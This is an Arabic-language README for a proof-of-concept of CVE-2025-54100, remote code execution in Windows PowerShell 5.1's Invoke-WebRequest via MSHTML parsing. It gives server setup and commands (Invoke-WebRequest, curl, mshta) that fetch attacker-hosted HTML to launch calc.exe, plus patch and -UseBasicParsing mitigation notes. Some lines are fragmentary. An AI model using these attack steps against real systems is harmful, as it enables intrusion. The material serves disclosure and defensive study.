
CVE-2025-54100 (CVSS 7.8 High) هي ثغرة حقن أوامر في أمر Invoke-WebRequest في Windows PowerShell 5.1. تنشأ هذه الثغرة بسبب عدم تحييد العناصر الخاصة بشكل صحيح أثناء التحليل التلقائي لاستجابات الويب.
إثبات مفهوم موجز يوضح كيف يمكن أن يؤدي CVE-2025-54100 إلى تنفيذ تعليمات برمجية عن بُعد (RCE) في Windows PowerShell 5.1 من خلال تحليل HTML خبيث.
Invoke-WebRequest عند عدم استخدام -UseBasicParsingActiveXObject) في سياق المستدعي.CVE-2025-54100.py حمولة HTML مصممة بعناية.WScript.Shell / Shell.Application.calc.exe.python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
شغّل خادم HTTP الخاص بإثبات المفهوم:
uvicorn app:app --host 0.0.0.0 --port 8888 --reload
شغّل هذه الأوامر على جهاز Windows معرّض للخطر دون -UseBasicParsing:
# Invoke-WebRequest
Invoke-WebRequest -Uri "http://<attacker-ip>:8888"
# curl alias
curl http://<attacker-ip>:8888
# mshta
mshta http://<attacker-ip>:8888
استخدم نفس المنفذ الذي عيّنته للخادم. إذا كان الجهاز معرضًا للخطر، فسيتم تنفيذ السكربت المضمّن عبر محلل MSHTML. قد تحجب بعض منتجات مكافحة الفيروسات هذا السلوك حتى مع وجود مشكلة التحليل.
إذا لم يظهر calc.exe:
Invoke-WebRequest بدون -UseBasicParsing.يوضح هذا ناقل التنفيذ. قد تستخدم الحمولات في العالم الحقيقي التشويش أو تجاوزات إضافية للالتفاف على القيود الافتراضية.

أصدرت Microsoft تصحيحًا لهذه المشكلة في ديسمبر 2025:
-UseBasicParsing لتجنب تحليل MSHTML:
Invoke-WebRequest -Uri "http://<attacker-ip>:8888" -UseBasicParsing
[!WARNING] لأغراض تعليمية والاختبار المصرح به فقط. استخدمها بمسؤولية وامتثل لجميع القوانين المعمول بها. المؤلفون غير مسؤولين عن إساءة الاستخدام أو الضرر.